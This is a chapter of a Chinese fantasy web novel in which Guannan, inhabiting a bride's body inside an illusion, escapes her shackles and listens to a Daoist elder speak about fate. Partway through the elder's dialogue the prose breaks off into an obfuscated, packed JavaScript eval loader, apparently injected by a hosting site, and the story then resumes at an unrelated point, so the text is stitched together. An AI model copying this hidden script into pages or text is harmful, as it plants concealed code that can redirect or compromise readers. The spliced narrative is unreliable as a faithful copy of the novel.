观南瞧着此人手中烛火,忽得反应过来他所言为何,一时间慌了神:“不——” 滚烫的蜡油自盏中落下。 她伸手,却扑了个空。 下一瞬蜡油滴入眼睛,女子尖叫起来,使了浑身力气挣脱。她跌在地上,疯了一般用手去抓去挖,严丝合缝的眼皮下却还是缓缓渗了一道红出来。 啪嗒几声砸在地上,是血,是泪。 观南想去帮她,又想拦住这群人。恍惚之间望见了那尊太清道德天尊像,悲悯一般瞧着她……天旋地转,四周的一切都似电般飞速褪去,她猛然睁眼。 大汗淋漓。 她眼前仍是黑黢黢一片。观南怔了半晌才回过神,下意识去摸眼睛,却被腕子上镣铐拦住。她伸手摸过去,摸到那冰冷的物什硌着她,便握住,手下暗自发力。 幸好这具身子还有些力气。她面无表情地坐着,哐当一声,金镣铐便在手心裂开两半。 另一个也如法炮制。观南起身,将头顶喜帕取下来。 想来这具躯体真正的主子还在梦中颠沛流离,她却不知为何被弹了出来。 观南心底叹着气:假借她人身躯,真是冒犯至极。若不是情势迫人,她此生也不欲做这样的事。 一想起女子还受着旧梦摧残,她心下更是愧疚,只得在心中同这女子多道了几句对不住,又念了安神咒才罢了。 掂量几下手上金镣铐,便将它妥帖放起来。如今她不知身处何处,连神识也使不出来,只得纯凭耳力去听…… 外头有细碎响声,想来看守之人不多,大抵只有一二个。 她又静静听了一阵,连衣角鼓起的风声都不放过,待人声渐停才确定:只有两人,一男一女,如今正说着话。 那便不是什么难事。至于府中旁的人,小心些避开就是。 至于守玉么…… 如今她先找着破局之法才是正道。兴许她出去了,这幻境也不攻自破。 观南打定主意,心下稍安,便从桌边捏了一块硬邦邦的物什在手心。 正要迈步出去,却听见外头人声停了,接着便是有人步声渐近。 她只得飞快又坐回去,将喜帕胡乱盖上。 来人停在她身前,没瞧见已断开的金镣铐,只高兴道:“娘子,你醒啦?正巧李道长得闲在府,让他来给你讲些趣事,好么?” 怎么偏偏是眼下。观南心中直泛嘀咕,却又不能直接将人打晕过去。 如今她套着大家闺秀的皮,自然也不敢辱她芳名。只得僵硬道:“好。你将人请进来罢。” 这话她说得忐忑,也没瞧见来人闻言略古怪地瞧她一眼,终究是没说什么,出去请人了。 观南如坐针毡地等着。 待这位李道长终于到了她身前,从善如流地坐下来同她见礼,她才讷讷应了。 李道长云淡风轻,声音听着已上了些年纪:“娘子欲听些什么?” 观南心中叹气,开口道:“道长同我讲讲一路上的见闻罢。” “一路上的见闻么,自是有的。”这老翁捋着长须,手中展开竹卷,“我想想。娘子听不听老牛的故事?” 她茫然:“老牛?” “是,便是老牛。不是我那头青牛,是老黄牛……成罢,是狗儿狸儿都成,你听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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国之兴衰,自古如此。 她复又想起许久前的事,喃喃道:“这是天命么?” 是天不教王子朝功成么? 老者笑而摇首:“哪里有天命的事呢?所谓天降玄鸟而生商,凤鸣岐山而兴周——实则都是人为。” 观南不知为何心中一颤,由衷道:“实是受教了。” 对方收敛衣袍起身:“娘子过奖了。我不过一介凡人,唯有一句告诫:命之一事,只在你自己而不在旁人。” 她愣愣抬眼,对方已悠然离去。 观南在榻上静静坐了一会,才悚然一惊:刚刚那话兴许不是同这女子说的,而是同她说的。 此是幻境还是往日真实,是大梦还是彼岸三千? 她一时间也摇摆不定起来,待头上喜帕滑落才恍惚回神,发觉自个出了一身冷汗。 观南终是摇摇头,敛了神思。 不论如何,眼下最要紧的还是赤焰花……便不再去想旁的,又仔细听了半刻,待老者脚步渐行渐远才起身出了门。 门口二人还在叽叽咕咕说话扯闲,被她一掌劈在后颈晕过去了。院中来回军士不多,大抵十几人等,她抵着墙根将自个藏在树荫里头,循着声音到了一处院落。 照理说,此处便是这女子父母所在之处。 果不其然,甫一进门,便听见有妇人同人说话:“……我不是不去,我只是觉着自己对不住她,我是不敢……” “什么不嫁?怎么能不嫁?若是不嫁,将来打起仗来她只会更苦!” 这妇人连连叹气,道:“如今举国动荡,我瞧着离灭国也是不远的了……我只愿她好好的。” 两人又说起旁的事来。正说到一半,便听得人来报,说是东厢娘子不见了。这妇人忙派人去寻,也再无兴致说话,匆匆走了。 观南待院中人走空了,才迈步入了房中。 一进门,便是一股浓郁药苦扑鼻而来。